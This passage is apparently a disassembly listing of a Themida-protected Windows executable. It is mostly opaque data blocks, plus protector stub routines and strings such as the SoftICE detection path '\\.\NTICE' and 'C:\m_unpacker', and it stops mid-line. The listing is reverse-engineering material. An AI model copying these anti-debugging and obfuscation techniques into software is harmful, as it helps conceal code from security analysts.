0C10782BAh, 0BC26Ch, 73D26A29h, 0F82DB595h dd 76744404h, 10845157h, 3CC89916h, 0B31C00FFh, 0E6556D0h dd 314CD70Dh, 0BEE80C71h, 0B584304Bh, 0CF946802h, 8D82CCF9h dd 81458CDEh, 67B422B0h, 0F675B442h, 0B0003AA4h, 0C2DD5521h dd 0A8078D8Ah, 7880AEDFh, 28F858D4h, 0D75CAD80h, 0AF008EDEh dd 0E4E1B233h, 1477176h, 0CEA47E3Bh, 30D3F195h, 9F33401Ch dd 832500Dh dd 4ACF2E10h, 87341B00h, 9E206BFh, 487EE0EAh, 7302F0E4h dd 7262439Eh, 536057A5h, 7C2ABF6Bh, 19FE44E2h, 58170100h dd 9BB5FFB0h, 18A90036h, 7C1D6599h, 8800A163h, 98851074h dd 0B8814E64h, 977501CCh, 0C279C5EBh, 98376EF0h, 7548020h dd 695A0AB0h, 97E8F44Eh, 80CCB26Fh, 21831B57h, 99480E15h dd 3E00868Dh, 0BE2CBF16h, 7B7CF51Eh, 84ECD9CBh, 5A446394h dd 37CCF45Ch, 0EC51E124h, 0CD866B1Ch, 2F7609D3h, 0CFF6CA08h dd 0B460102Dh, 3D16E02Ah, 0EE801E13h, 461F46Dh, 4C4831FCh dd 297501F1h, 0E3F2C078h, 4B4407Bh, 97A63694h, 80C4C358h dd 0EFFA1CB1h, 70AFECA1h, 4569004Eh, 0C8187442h, 9B00EC84h dd 8EBB38B5h, 0A43D571Ch, 152000B8h, 899AFE6Ch, 7300C395h dd 0A1CD17A9h, 0B8EA1BE3h, 40C25B49h, 0F960EC5Ch, 0E9002E26h dd 0F2252130h, 1209C871h, 8B39208h, 1F8FF44Ch, 102FEB58h dd 4C0BD60h, 0A08D497Eh, 0B8588523h, 7FA803Ch, 1F8274DAh dd 8E987181h, 6A626501h, 505986E0h, 42AED200h, 64CCC834h dd 0F3E36081h, 47C50324h, 81C49914h, 202F53E6h, 853F7A38h dd 9467311Ch, 0D4C4EDh, 2E2C934Bh, 0C8C6FC8Bh, 0AE5EBC07h dd 0A4E1CCFFh, 0B442A8CFh, 4B8329DDh, 8A98765Fh, 0F231CA7Ch dd 0BFAD4938h, 88B7E820h, 6A03C0D5h, 1E6F8540h, 6C34A8C1h dd 81E82FA9h, 8400D4E4h, 0F37A887Bh, 8E259Ah, 83142285h dd 0CEB2B37Fh, 9C2C8D09h, 0DCFC00ADh, 12227894h, 206A5B52h dd 5A0D3D38h, 6C51036Ah, 3C07DA05h, 0D4E57C00h, 0E46ADC0Ah dd 9F0CA96Eh, 24E4C70h, 2F5FCCC4h, 0DDE0528Bh, 0F905FC08h dd 0D36EFEC5h, 0CFF3E080h, 0EDAA88DBh, 429E4E00h, 0C8407956h dd 0A9E13C1Fh, 0F03E2B00h, 0C3BADB8Eh, 0B500A891h, 9819E0A0h dd 9E3F00B9h, 0FB13B722h, 0B605A755h, 0B48BE17h, 0A42D800Ah dd 0E4EB404Fh, 0B337404h, 60DE7F7Eh, 0F40108B2h, 702AB5E4h dd 0C2117B30h, 9448F6E5h, 165DC054h, 0E3D8D688h, 569F0E40h dd 0BB0CE0BAh, 2D02C207h, 9C2937F2h, 8CFA5418h, 887C4400h dd 41928257h, 0EFFE0366h, 79615532h, 40F73127h, 2D500EF4h dd 84908EF6h, 0CC16CA64h, 59012819h, 72C13D13h, 2C3F7C60h dd 0B7E8DDDh, 8458BCEEh, 0F666D21h, 0F1494622h, 0E342C444h dd 880605Ch, 0FCA8E69Dh, 4EA90D00h, 39CDA727h, 0E6C1E410h dd 594713ABh, 258C0B5Fh, 78091CF3h, 0C8FA0Ch, 0AFB0113Ah dd 72030BEFh, 3F096913h, 0B12E3CC0h, 5AFB0506h, 9C9EE89Dh dd 0F6181B80h, 7711F8C2h, 6D250474h, 80BF78DEh, 0BA4636F0h dd 4204B4Bh, 76C953Eh, 0DFC3587Eh, 523B50AAh, 0A60C072Dh dd 78A554B0h, 0DA61173Fh, 155C001Dh, 398D4EB5h, 0BC5B5A11h dd 96AD2E00h, 59501083h, 0B6AF7550h, 82354E00h, 9C5174B2h dd 0C2841F8Bh, 30EC17BFh, 761A9A50h, 0D25CE376h, 75E0C084h dd 0BA2060Eh, 4339289h, 4B764898h, 2B2FB402h, 0F9658EACh dd 67A100E0h, 0B7976A63h, 1A28EF1Dh, 34BA2F80h, 192BDAF3h dd 0B81CD14Eh, 390710B7h, 0EF5612A9h, 2464B40Fh, 0C31C837Dh dd 0BC8A7E29h, 0FF5F01CCh, 6CFFh db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4EDCB7: ; CODE XREF: start:loc_48F265j ; DATA XREF: start:loc_48F086o jmp loc_4F1008 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 0Bh dup(0) aQucw db 'ï“çw',0 align 10h dd 0 dd 5D9B47FAh, 9 dup(0) aNnS db 'Ä‘',0 align 10h dd 3DB6F7DEh, 4 dup(0) dd offset dword_4F0648 dd 3 dup(0) dd 0ACBDh, 0FFFF9174h, 2 dup(0) dd 77E8360Ch, 0 dd 9B69DDh, 1, 6667706Ch, 2 dup(0) dd 6, 602Eh, 2 dup(0) dd 1, 1FEF77F5h, 5 dup(0) dd 77E6003Ch, 10Ch, 54369Bh, 4 dup(0) dd 77E7A144h, 2446B9Ch, 7 dup(0) dd 30DFh, 2 dup(0) dd 7FFE0304h, 0 dd 2550000h, 8 dup(0) dd offset word_544B0A dd 9B9234h, 0 dd offset byte_55C5C9 align 10h dd 35Bh, 91h dup(0) aBd db 'BDÆ)',0 align 10h dd 0 dd 0A4h, 9 dup(0) aCw db 'µ\çw',0 align 8 dd 77FFFFF4h, 9AD554h, 5 dup(0) dd 0FFADA8E8h, 2 dup(0) dd 77F7EBB3h, 0Bh dup(0) aW db '×#Ýw',0 align 4 dd 3 dup(0) dd 0FFB86199h, 7 dup(0) dd 0FFAC348Ah, 0 dd offset dword_561238 dd 2 dup(0) dd 12FFA4h, 2 dup(0) dd 0E11FCBF0h, 761D3B19h, 55DBFBh, 0 dd 9B2292h, 7FFE0304h, 0 dd 0FFFFFFA4h, 2 dup(0) dd offset word_52FD5A dd 91E6h, 448E465Eh, 0 dd offset loc_403048 dd 2 dup(0) dd offset byte_55AF05 align 10h dd offset dword_450050+28EC4h dd 4 dup(0) aSAIe db '˜Ç ',7,'©…¾>',0 align 10h dd 7 dup(0) dd offset byte_539A99 dd 0 dd 1, 5 dup(0) dd 77E7A099h, 0A7E5A0Ch, 535012h, 4 dup(0) dd 0FFABA580h, 9B9234h, 7FFE0304h, 0Eh dup(0) dd 77F5180Bh, 4084EAA8h, 0 dd 0FFFEB480h, 526B55h, 4 dup(0) aSSwcsq db 'è/èwæ‘Q',0 dd 6 dup(0) dd offset loc_403048 dd 4 dup(0) aNSLr db 'N`¸éÈ‹R',0 dd 4 dup(0) dd 7FFE0304h, 8 dup(0) dd 80h, 0 dd 0AB1FBFh, 3 dup(0) dd 90E5h, 33h dup(0) dd 0FFAD1468h, 0 dd 18B96845h, 0 dd 0FCB188F5h, 0 dd offset dword_532F18 dd offset byte_5218C3 dd 63C4h, 2 dup(0) dd 6BD4628h, 2 dup(0) dd 0BB80h, 77FC5024h, 5 dup(0) dd 73FEF603h, 3 dup(0) dd offset dword_4EF510 dd 3 dup(0) aVlcw db '‚‹çw',0 align 4 dd 18h dup(0) dd offset byte_527A37 dd 6 dup(0) dd 77F7EBB3h, 0Ch dup(0) aSjiw db 'é¦ëw',0 align 10h dd 1AAC1h, 0 dd 0FFEFC7FDh, 0 aM_0 db 'MѶ\',0 align 4 dd 3 dup(0) dd offset word_544C2E dd 0 dd offset aJse+1 dd 7 dup(0) dd 77DD59F0h, 0 a8uo db '8žO*',0 align 2 dw 256h dd 4 dup(0) dd 77E6D706h, 4 dup(0) dd 28h, 4 dup(0) aVlU db 'VLÑU',0 align 2 dw 77F5h dd 2 dup(0) dd offset dword_531F9C dd 5 dup(0) dd 4, 4 dup(0) dd 0FFFFFFFEh, 0 dd offset a_Ntice ; "\\\\.\\NTICE" align 10h dd 23009173h, 0Fh dup(0) dd 0F0639770h, 2 dup(0) dd 6, 7 dup(0) dd 0B56Ah, 0Ch dup(0) a7@ db '7Õ@>',0 align 4 dd 6 dup(0) dd 4808h, 0 aC9x db 'æ\9å',0 align 10h dd 0 dd 7FFE0304h, 4 dup(0) dd offset dword_529874 dd 3 dup(0) dd offset byte_5295B5 align 10h aCycw db 'cyçw',0 align 4 dd 7 dup(0) dd 0FFFFFFFFh, 0 dd 9BFA56h, 0FE8h, 3 dup(0) dd 9D9BACh, 0A29F05FBh, 2 dup(0) dd 510Dh, 2 dup(0) dd 0FFF80C10h, 9A0FE6h, 7FAE34FCh, 552D6Ah, 4 dup(0) dd 0C57F94B4h, 0Ah dup(0) dd 77F52E0Fh, 4 dup(0) dd 9B3E3Bh, 5 dup(0) dd 9B8C0Ah, 4 dup(0) dd offset aA_2 ; "`aÂ\b" dd 6 dup(0) dd 19C1D993h, 9B69DDh, 7FFE0304h, 77E7A13Fh, 2 dup(0) dd offset byte_548F43 dd 0 dd 9FA5E7h, 12E313h, 0B624D830h, 6 dup(0) dd 7FFE0304h, 39h, 7FFE0304h, 77E82168h, 77E74A3Bh, 2 dup(0) dd 2550000h, 0A3B5155Dh, 9 dup(0) dd offset dword_5679A4 dd 4 dup(0) dd 77DD189Ah, 5 dup(0) dd 57C6A71Fh, 9B5E2Eh, 4 dup(0) dd 144F2BCFh, 0 a1I db '1Ô°ë',0 align 8 dd 77E7C486h, 12FF54h, 99988F94h, 4 dup(0) dd 1F7EA0BBh, 2 dup(0) dd 9C1568h, 2 dup(0) dd 3A1h, 0Eh dup(0) a0I db 'ß0Å©',0 align 10h dd 2 dup(0) dd 0FFFFFFFFh, 4 dup(0) dd 0FFFFFF50h, 3 dup(0) a7zAR db '7z',9,'A· R',0 align 8 dd offset byte_527A37 dd 7FFE0304h, 0 aDA6666csq db '„²',9,'A6666æ‘Q',0 dd 6 dup(0) dd 3AF4FDE4h, 0 dd 23C0000h, 5 dup(0) dd 36Bh, 2 dup(0) dd offset dword_4F0648 dd 4 dup(0) dd offset byte_55DBFB dd 12FFC4h, 3 dup(0) dd offset byte_527A37 dd 0 aHm db 'ÜHmÙ',0 align 4 dd offset dword_52A8B0 dd 1, 6 dup(0) dword_4EEA5C dd 0B8h, 74C00B00h, 18C203h, 0C24448Bh, 0E853h, 815B0000h ; DATA XREF: Themida_:004EFAE4o dd 17C3h, 245C8900h, 24448910h, 37B85B14h, 0FF009BA0h dd 24448BE0h, 0E0FF04h, 15h dup(0) dd offset word_54AF42 dd 766B5137h, 55C1FDh, 0 dd 11111111h, 3 dup(0) dd 9B69DDh, 0 dd offset dword_4EF510 dd 2 dup(0) dd offset word_55C5CE dd 7 dup(0) dd offset word_5560C6 dd 2 dup(0) dword_4EEB44 dd 5F090304h, 3E0h, 0E871E9A7h, 401000h, 2 dup(0) ; DATA XREF: Themida_:004EF594o ; Themida_:004EF86Co ... dd offset byte_54E081 dd 2 dup(0) aSzN db '™§Èn',0 align 10h aNS db 'n²s',7,0 align 4 dd 30h dup(0) aL?lSfi db 'L?lš™”›',0 dd 0 dd 0FFFD0800h, 0 dd offset byte_54330B dd 0 dd 1DBFFB0h, 5407AEh, 9 dup(0) dd offset byte_557281 dd 9 dup(0) dd 0BDA01F43h, 8 dup(0) dd offset unk_48D000 dd 2 dup(0) dd 0AF3Fh, 6 dup(0) dd 0A280105h, 7 dup(0) dd 7FFE0304h, 4 dup(0) dd 77EB87F2h, 5 dup(0) dd offset word_546B96 dd 77E80618h, 4AE89234h, 0 dd 56696713h, 2 dup(0) dd offset aQrs+1 dd 0 dd 0FFFFFFFEh, 5 dup(0) aF_2 db 'Ò±¿”',0 align 4 dd 2 dup(0) dd 7FFE0304h, 0FFFFA0ACh, 0 dd offset dword_528898 dd 74h, 554AEAh, 2 dup(0) dd offset a5PCcuQ2R5 ; "5$¯ÅcCuÐq½2êR5" dd 2 dup(0) aN db 'ÝÇ/n',0 align 10h dd 9 dup(0) aMcwl?lBor db '^¬çwL?lš¡®R',0 dd 2 dup(0) aZdA db '§D',9,'A',0 align 10h dd 4 dup(0) dd offset a_Ntice ; "\\\\.\\NTICE" dd 5 dup(0) dd 7FFE0304h, 0A9C530DFh, 0 dd offset dword_55D1A8 dd 0 dd 7FFE0304h, 77DD0000h, 526CB8h, 7 dup(0) aFn@n db 'äN@',0 align 4 dword_4EEE6C dd 0E51F2973h, 68h dup(0) dd 30DFh, 3 dup(0) dd 0FAF7B56Ah, 3 dup(0) dd 1CABF455h, 2 dup(0) aNn3n db '3n',0 align 8 dd 7FFE0304h, 0 dd 9B69DDh, 0Ah dup(0) dd 1, 2 dup(0) dd 3AA00h, 248DBABh, 4 dup(0) a0I_0 db 'ß0Å©',0 align 4 dd 0 dd 4F18B15h, 9C3154h, 4 dup(0) dd 90E5h, 53BDC9D6h, 2 dup(0) dd offset word_55CAF6 dd 7 dup(0) dd 4, 0 dd 5E0023h, 7312AE55h, 5 dup(0) dd offset aLS ; "`‹\\$$è" dd 4 dup(0) dd 1, 0 a7icw db '7¨çw',0 align 4 dd 4 dup(0) dd 9B69DDh, 0 dd 0FFAE6E1Ah, 5 dup(0) dd offset word_53CB76 dd 3 dup(0) dd 281047h, 9A003Eh, 0 dd 4000F0h, 5 dup(0) dd 9B09F7h, 0 dd 0FF645FF1h, 4 dup(0) dw 3Eh unicode 0, <»>,0 align 4 dd 77D40000h, 0 aZsD db '§éÏD',0 ; DATA XREF: Themida_:004F0CD0o align 4 aXr db 'å',0 align 4 dd 3 dup(0) dd 1, 2 dup(0) aPoc db 'ØoC',0 align 4 aHhj db 'hH¦',0 dd 3 dup(0) dd offset dword_545F50 dd 1657D63Fh, 4 dup(0) dd 10F3202h, 0FAF7B56Ah, 0AE1D70AAh, 4 dup(0) aTuO db 'tUÔŽ',0 align 4 dd 0Ch dup(0) dd 80008C6Bh, 0 aCycw_0 db 'cyçw',0 align 4 dd 1C0000h, 0 a0I_1 db 'ß0Å©',0 align 4 dd 2 dup(0) dd 7FFE0304h, 2 dup(0) dd offset byte_55BC8B dd 3 dup(0) dd offset byte_5569CF dd 1, 0E3422F79h, 6F00h, 2 dup(0) dd 90E5h, 0 a@V db '@',1Bh,'´v',0 align 10h dd 3 dup(0) dd 0A90000h, 527A37h, 19h dup(0) dd 9A0000h, 7FFE0304h, 529874h, 2 dup(0) dd 7FFE0304h, 2 dup(0) dd 23h, 9B2BDEh, 0Ah dup(0) dd 1, 0FE4698C4h, 77E805D8h, 0FFA8A892h, 3 dup(0) dd 0FFAC8BACh, 6 dup(0) dd 0FF0672B5h, 9D7FD8h, 0 dd 0EBF8496h, 3 dup(0) dd 0A3B5155Dh, 9AB168h, 6 dup(0) dd offset byte_527A37 dd 3 dup(0) dd offset dword_444EC4+18Eh dd 0 dd 24510CAh, 53043Ch, 312D3430h, 0 aAl db 'ÓAL¸',0 align 4 dd 7FFE0304h, 4 dup(0) dd 9A0A9Ah, 4 dup(0) aHxmv db 'hXMV',0 align 4 dd 2 dup(0) aVKz db '‚',27h,'kZ',0 align 4 dd 7 dup(0) dd 90E5h, 2 dup(0) dd offset word_557022 dd offset byte_52B569 dd 3 dup(0) dd 171000h, 0Eh dup(0) dd 5C378300h, 9748h, 0E4h dword_4EF510 dd 2, 3D29ADA1h, 4 dup(0) ; DATA XREF: Themida_:004EE45Co ; Themida_:004EEB0Co ... dd 0FFFFA74Ch, 3 dup(0) aCw_0 db ']°çw',0 align 10h dd 7FFE0304h, 4 dup(0) dd 9B915Bh, 2 dup(0) dd 0FFEh, 0A552C4B4h, 0 dd 0FFFFFFFFh, 54361Eh, 5 dup(0) dd 8001FCFCh, 9F9995h, 0 dd offset dword_4EEB44+4 a@pQ5iGazpP db '@p)Ÿ5¨·ƒí‡Óp',0 align 4 dd offset dword_53C930 dd 3 dup(0) dd 13F3E109h, 558246h, 3A0h, 53C8DB88h, 4 dup(0) dd 0F0A7352Ch, 2 dup(0) dd offset dword_4EEE6C+10h dd 11h dup(0) aHSw db 'h>èw',0 align 4 dd 7 dup(0) dd 90E5h, 7FFE0304h, 0 dd 1DBFFB0h, 0FF0601FFh, 3 dup(0) dd 6Ch, 0 dd 12FF54h, 0Dh dup(0) dd 77FCD7A9h, 0 dd offset dword_51F9EC aRestartapp_exe db 'RestartApp.exe',0 align 4 dd 7 dup(0) dd 90E5h, 5 dup(0) dd 1, 53992Fh, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset dword_52EF24 dd 4 dup(0) dd offset dword_535554 dd 3 dup(0) dd 71FDBE00h, 522067h, 0EE46h, 0 dd 2860000h, 9C1568h, 0 dd 77FC5024h, 5 dup(0) aThemida db 'Themida',0 dd 1Ch dup(0) dd 0FF0h, 2 dup(0) dd offset byte_526B55 align 10h dd 12FF54h, 0 dd 189306h, 0 dd 41784ABh, 0 dd 0FAF7B56Ah, 4F0648h, 6 dup(0) dd 0A600h, 6 dup(0) dd offset dword_52D2A8 aDbcw db 'D¡çw',0 align 10h dd 7FFE0304h, 2 dup(0) dd offset dword_4EEB44+4 dd 2 dup(0) db '$$$$',0 align 10h dd 0Ah dup(0) dd 20BFFB0h, 73DDE7F7h, 121F04h, 5 dup(0) dd 196Bh, 0Eh dup(0) dd offset word_557022 dd 9 dup(0) aINO db 'ÝI*n<',1Bh,'O',0 dd 5 dup(0) dd 7FFE0304h, 566EA7h, 0 dd 1163h, 0 dd 1A7698Dh, 3 dup(0) a333333333333 db '333333333333',0 align 4 dd 0FE8h, 2 dup(0) dd 88h, 2 dup(0) aU_0 db '¿µ~;ÉÅU',0 align 10h aMaI db '¬í',0Ah db 'ˆ',0 align 4 dd 2570000h, 4 dup(0) dd 0A8h, 0A9C530DFh, 8 dup(0) dd 0FFB10AF0h, 2 dup(0) dd offset word_53313E align 8 dd 0E2022653h, 0 dd offset dword_4F0928 dd 4 dup(0) dd 9A00F8h, 3 dup(0) dd 6169FA8Fh, 2 dup(0) dd offset byte_5218C3 align 8 dd 2, 1E3B7273h, 5548A9h, 4 dup(0) dd 8C000h, 5 dup(0) dd offset byte_52208F dd 3 dup(0) dd 7FFE0304h, 0A0h, 8 dup(0) dd 9C3154h, 94h, 4 dup(0) dd 2000h, 9 dup(0) dd offset dword_4EEA5C dd 3 dup(0) aS_5 db 'éÝÌÞ',0 align 10h dd offset word_5288EE dd 147FB139h, 2 dup(0) dd offset byte_527A37 dd 23C000Ch, 4EEB48h, 9 dup(0) dd 77501D6Dh, 36000h, 86161D8Ch, 4 dup(0) dd 0FFFFFFFFh, 0 dd 77FC5024h, 2 dup(0) dd 9C1568h, 0 dword_4EFB78 dd 4, 6 dup(0) ; DATA XREF: Themida_:004F0DECo dd 2540000h, 0 dd 100h, 6 dup(0) dd 870h, 7FFE0304h, 2 dup(0) dd 1300h, 0FFFF91E6h, 7 dup(0) dd offset dword_4EEE6C+11h dd 10h dup(0) aS1A db 'è1',27h,'A',0 align 10h dd 2 dup(22222222h), 8001FCFCh, 0 dd 531C9h, 8 dup(0) aSzN_0 db '™§Èn',0 align 10h dd offset word_5303B6 align 10h dd 78h, 2 dup(0) dd offset byte_539AB1 dd 0 dd 1, 3 dup(0) aCWindowsSystem db 'C:\WINDOWS\System32\ADVAPI32.dll',0 align 4 dd 39h dup(0) dd offset dword_55D150 dd 3 dup(0) dd 15DAFFCEh, 2 dup(0) dd 7D1h, 4F0648h, 2 dup(0) dd 8F014h, 0 dd offset word_52F9CA dd 8 dup(0) dd offset byte_538367 dd offset a_Ntice ; "\\\\.\\NTICE" align 10h dd offset word_532182 align 8 dd 7FFE0304h, 2 dup(0) dd 36Bh, 3 dup(0) dd 3F0FFD91h, 0FFFFDCB7h, 3 dup(0) dd offset word_54361E align 10h dd offset byte_542B33 dd 2 dup(0) dd 21541FAEh, 2 dup(0) dd offset dword_5561F0 dd 9 dup(0) dd 7FFE0304h, 0 dd 8001FCFCh, 0 dd 7FFE0304h, 8Ch, 8051CE7Ah, 2 dup(0) dd 0F9ECh, 2 dup(0) dd 0F8836AD1h, 9BA00Fh, 0 dd 0FFFFFFFFh, 0FFABD90Ah, 9B69DDh, 0Bh dup(0) dd 71FDBE00h, 0 aTyuj db 'tYU†',0 align 10h dd offset byte_5218C3 dd 4 dup(0) dd 330000h, 3 dup(0) dd 196Bh, 8 dup(0) aZ db '~z;Ï',0 align 10h dd 2 dup(0) dd 0FB3AEE3Eh, 5 dup(0) dd offset byte_548F43 dd 4 dup(0) dd 8001FCFCh, 3 dup(0) aZQa db 'zÎQ€',0 align 10h dd 0FFFFFFFEh, 2 dup(0) dd 6B404E2Eh, 19h, 2 dup(0) dd 9B69DDh, 4 dup(0) dd 88EEh, 0 dd offset loc_4059E4+4 dd 3 dup(0) dd 7Ch, 144F2BCFh, 0 dd 0C6183346h, 77DD5ECCh, 0 dd offset loc_403048 dd offset byte_529079 dd 0 dd 9DB134h, 0 dword_4F0044 dd 2 dup(0) ; DATA XREF: ___:0042CC8Co dd 0FAF7B56Ah, 2 dup(0) dd 7FFE0304h, 3 dup(0) dd offset a_Ntice ; "\\\\.\\NTICE" aGaj db '£€¦Í',0 align 4 dd offset byte_555D69 align 10h aCN db '½çÈn',0 align 4 dd 5 dup(0) dd 9B3145h, 7FFE0304h, 0 dd 0A30671FFh, 3 dup(0) dd 0E80h, 0 dd 1CABF455h, 6 dup(0) dd 0F74h, 2 dup(0) dd 8818869Dh, 51F9ECh, 4 dup(0) dd 0FFFF9174h, 6 dup(0) dd offset dword_4EEB44+4 dd 0Ah dup(0) dd 313Fh, 9 dup(0) dd 0FFFFFFFFh, 0Dh dup(0) dd 0FFABA580h, 2 dup(0) dd 9BA00Fh, 8 dup(0) dd 7FFE0304h, 410944A7h, 2 dup(0) dd 77E75CB5h, 0FFAD9208h, 27h dup(0) dd 7FFE0304h, 15h dup(0) dd 77E60000h, 2 dup(0) dd offset byte_4F1E7F dd 3B65B029h, 1, 3 dup(0) dd offset loc_403048 align 10h dd 0FFFF50C1h, 9A0A9Ah, 9B8C0Ah, 535359h, 0DFD0h, 0 dd 51006A60h, 2 dup(0) dd offset aJse+1 align 10h dd 5F08h, 0 dd 0FFAA3A32h, 3 dup(0) dd offset dword_532F18 align 10h dd offset aJse+1 dd 0AFh dup(0) aId db 'È›D~',0 align 4 dd 3 dup(0) dd 9B69DDh, 0F05106F8h, 3 dup(0) dword_4F0648 dd 9C23E8h, 12FF54h, 5 dup(0) ; DATA XREF: Themida_:004EDD44o ; Themida_:004EEA04o dd offset dword_4EF510 dd 4 dup(0) dd 95CA8D8Dh, 0FE389673h, 28h dup(0) dd 88B3883Bh, 0ABA1FEh, 0 dd offset aNNs+3 dd 9Ch, 6 dup(0) dd 400000h, 6 dup(0) dd 0FFFF9178h, 6 dup(0) dd 0ACh, 9 dup(0) dd offset a_Ntice ; "\\\\.\\NTICE" dd 2 dup(0) dd 9C13944Eh, 3 dup(0) dd 4FF2445Fh, 0 aNi db 'NiÚ¹',0 align 4 dd 7 dup(0) dd 77E78B82h, 12FF54h, 3 dup(0) dd 9B9C37h, 1Fh dup(0) dd 9D7316h, 5 dup(0) dd 0FFFDD4F0h, 3 dup(0) dd 71FDBE00h, 0FFAD48E2h, 5 dup(0) dd offset dword_4F16A4 dd 2 dup(0) dd 0FFAD5763h, 0 aJW db 'jÉÔw',0 align 4 dd 0Eh dup(0) dd 9B70C4h, 9B69DDh dword_4F0928 dd 9C3268h, 4 dup(0) ; DATA XREF: Themida_:004EFA00o dd 77D4C96Ah, 0C2AF1803h, 2 dup(0) dd 9BA037h, 2 dup(0) dd offset dword_556334 dd offset byte_55BC8B dd 0 dd 90E5h, 0 dd 9B915Bh, 9 dup(0) dd 77F78A7Fh, 6 dup(0) dd 0FFFF95F8h, 5 dup(0) dd offset word_552D6A dd 3 dup(0) dd 9F8D53h, 0 dd 0BDA01F43h, 0FAF7B56Ah, 527A49h, 9B3E3Bh, 53CB76h, 5462F7h dd 10h dup(0) dd 77FCD7A9h, 54629Ah, 0 aCM_unpacker db 'C:\m_unpacker',0 align 4 dd 7Fh dup(0) dd 0B20000h, 4518B7C1h, 546330h, 7FFE0304h, 2 dup(0) dd 0BC907028h, 0FFFFFFFFh, 2 dup(0) aEk db 'ÄÌEk',0 align 10h dd 0 dd 77E75CB5h, 4001E8h, 0Ah dup(0) aT db '’=Ô¹',0 align 4 dd 5 dup(0) dd offset aZsD+4 align 10h dd 28618EEh, 0FF06036Fh, 323h, 2 dup(0) dd 8005F6F4h, 0 dd 98h, 4 dup(0) db '!!!!',0 align 4 aPs db '¯è',0 align 4 dd 3 dup(0) dd offset byte_539B7F dd 3 dup(0) dd offset byte_53CAC5 align 10h dd 11BFFB0h, 10h dup(0) dd 0FFAA9FCCh, 0 dd 77E7A5FDh, 8 dup(0) aZdA_0 db '§D',9,'A',0 align 4 dd 3 dup(0) dd 76059FE5h, 281A057Bh, 0 aLIs db 'L°‰é',0 align 4 dd 3 dup(0) dd 1, 0 dd offset dword_4EFB78 aJCw db '¦+çw',0 align 4 dd 4 dup(0) dd 12FFF0h, 527A37h, 0A82A2Eh, 2 dup(0) dd offset dword_4EF510 dd 0Ch dup(0) dd 0A9B1CAh, 0 dd 7FFE0304h, 0 dd 0B862h, 0 dd 0B8h, 4 dup(0) dd 7FFE0304h, 1Eh dup(0) dd 6C8Bh, 77E77963h, 90h, 0 a0I_2 db 'ß0Å©',0 align 10h dd 0 dd 84h, 0FF9Dh, 558246h, 7FFE0304h, 0 dd 90E5h, 1F8h, 0 dd offset dword_56567C align 10h dd offset a_Ntice ; "\\\\.\\NTICE" dd 492AB0F3h, 7 dup(0) dd 7FFE0304h, 2 dup(0) dd 0FFFF9288h, 0 aZc3 db 'ÏZC3',0 align 10h dd 2 dup(0) dd 7FFE0304h, 0FFED00A4h, 5F94h, 8 dup(0) aAzp db 'í‡Ó',0 align 4 dd 3 dup(0) dd 9B9393h, 4EF510h, 12FFE0h, 0A7757Fh, 0 dd 0FFFFA554h, 53C8DB88h, 3 dup(0) dd offset word_5288EE dd 0ED9FDEFh, 4 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4F1008: ; CODE XREF: start:loc_4EDCB7j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 5E2335Bh mov [ebp+5E20D65h], edx mov [ebp+5E205C5h], esi mov [ebp+5E23151h], eax cmp dword ptr [ebp+5E20F7Dh], 0 jz short loc_4F1040 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4F1040: ; CODE XREF: start+6201Ej mov eax, [esp+40h+var_1C] mov [ebp+5E20B01h], eax push 45h call sub_4F10F4 push 783749Ah call sub_4F113A push 0A894B25h call sub_4F113A jmp loc_4F127E ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 4645h dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh dd 0C2C1C0BFh, 0C3h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4F10F4 proc near ; CODE XREF: start+62038p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 5E23449h mov ebx, edx mov [ebp+var_28], 0 loc_4F1110: ; CODE XREF: sub_4F10F4+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_4F112F mov eax, [ebp+arg_0] mov [ebx+5E233B3h], eax inc [ebp+arg_0] inc ebx jmp short loc_4F1110 ; --------------------------------------------------------------------------- loc_4F112F: ; CODE XREF: sub_4F10F4+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_4F10F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4F113A proc near ; CODE XREF: start+62042p start+6204Cp var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 5E23492h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_4F1160: ; CODE XREF: sub_4F113A+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_4F1160 mov [ebp+var_84], 0 lea edi, [edx+5E233B3h] lea esi, [ebp+var_80] loc_4F1190: ; CODE XREF: sub_4F113A+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_4F119C: ; CODE XREF: sub_4F113A+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_4F119C imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_4F1190 popa leave retn 4 sub_4F113A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_4F11DA ; --------------------------------------------------------------------------- loc_4F11D6: ; CODE XREF: 